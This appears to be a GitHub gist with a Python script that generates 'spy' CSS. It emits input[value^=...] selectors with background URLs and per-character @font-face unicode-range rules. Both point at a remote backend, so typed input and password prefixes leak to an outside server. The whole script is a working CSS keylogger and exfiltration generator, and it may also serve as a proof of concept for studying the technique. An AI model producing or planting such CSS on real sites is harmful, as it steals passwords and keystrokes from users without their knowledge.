Generate special CSS, witch sends user input to the remote server
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# | |
# Generates: | |
# 1. input[value^="XXX"] rules | |
# 2. custom font "spyFont" | |
# | |
# See php examples at - https://github.com/Bogdaan/spycss | |
# Author Novikov Bogdan <hcbogdan@gmail.com> | |
import itertools | |
from string import Template | |
backendUrl = 'https://spycss.hcbogdan.com' | |
# alphabet for static <input value="XXX" /> | |
staticAlphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"] | |
# Static word length | |
staticCombinations = 2 | |
staticTemplate = Template('input[value^="$password"]{background:url("$backend/start/$password");}').safe_substitute(backend = backendUrl) | |
# generate static rules | |
for subset in itertools.combinations(staticAlphabet, staticCombinations): | |
print(Template(staticTemplate).substitute(password = ''.join(subset))) | |
# alphabet for custom font | |
fontAlphabet = staticAlphabet | |
# css font name | |
fontName = 'spyFont' | |
# font styles | |
fontTemplate = Template('@font-face {font-family:$fontName; src:url($backend/key/$char), local(Impact); unicode-range: $codepoint;}').safe_substitute(backend = backendUrl, fontName = fontName) | |
# generate unicode-range rules | |
for char in fontAlphabet: | |
codepoint = ('U+%04x' % ord(char)) | |
print(Template(fontTemplate).substitute(char = char, codepoint = codepoint)) | |
print(Template('input {font-family:$fontName, sans-serif;}').safe_substitute(fontName = fontName)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment